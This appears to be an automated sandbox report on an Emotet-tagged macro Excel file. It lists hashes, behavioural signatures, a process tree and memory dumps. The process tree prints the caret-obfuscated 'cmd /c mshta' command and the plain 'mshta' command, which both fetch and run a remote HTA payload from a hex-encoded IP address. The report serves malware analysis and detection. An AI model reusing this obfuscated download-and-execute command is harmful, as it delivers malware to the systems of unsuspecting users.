Overview

overview

10

Static

static

8

emotet_v6

windows10_x64

10

emotet_doc

windows10_x64

10

Analysis

  • max time kernel
    151s
  • max time network
    148s
  • platform
    windows10_x64
  • resource
    win10-en-20211208
  • submitted
    19-01-2022 14:58

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General

  • Target

    04cbc0b177c15fce9d0ab4d483fae95e6eee3979d6ef931066c569b1748c3908.xlsm

  • Size

    114KB

  • MD5

    762dc2ad8c9f6360ee9c107028d17253

  • SHA1

    ee1dcd803cc7fe4e267e080e6f16f09983ef3d49

  • SHA256

    04cbc0b177c15fce9d0ab4d483fae95e6eee3979d6ef931066c569b1748c3908

  • SHA512

    5c4ac0430e8a5c7b3deafbd08014ce97a4b0aca115ff5d8db2479f95eb5c791fd807b520c5ed2e24f9c16501e88c6c8e8116de504b24699a9aee8239d77d90dc

Score
10/10

Malware Config

Extracted

Language
hta
Source
URLs
hta.dropper

http://0x5cff39c3/sec/sec.html

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 1 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious use of SetWindowsHookEx 20 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\04cbc0b177c15fce9d0ab4d483fae95e6eee3979d6ef931066c569b1748c3908.xlsm"
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2244
    • C:\Windows\SYSTEM32\cmd.exe
      cmd /c m^sh^t^a h^tt^p^:/^/0x5cff39c3/sec/sec.html
      2⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:1444
      • C:\Windows\system32\mshta.exe
        mshta http://0x5cff39c3/sec/sec.html
        3⤵
        • Blocklisted process makes network request
        PID:2400

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

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Downloads

  • memory/2244-115-0x00007FFF7B1F0000-0x00007FFF7B200000-memory.dmp

    Filesize

    64KB

    Download

  • memory/2244-116-0x00007FFF7B1F0000-0x00007FFF7B200000-memory.dmp

    Filesize

    64KB

    Download

  • memory/2244-117-0x00007FFF7B1F0000-0x00007FFF7B200000-memory.dmp

    Filesize

    64KB

    Download

  • memory/2244-118-0x00007FFF7B1F0000-0x00007FFF7B200000-memory.dmp

    Filesize

    64KB

    Download

  • memory/2244-121-0x00007FFF7B1F0000-0x00007FFF7B200000-memory.dmp

    Filesize

    64KB

    Download

  • memory/2244-128-0x00007FFF786A0000-0x00007FFF786B0000-memory.dmp

    Filesize

    64KB

    Download

  • memory/2244-129-0x00007FFF786A0000-0x00007FFF786B0000-memory.dmp

    Filesize

    64KB

    Download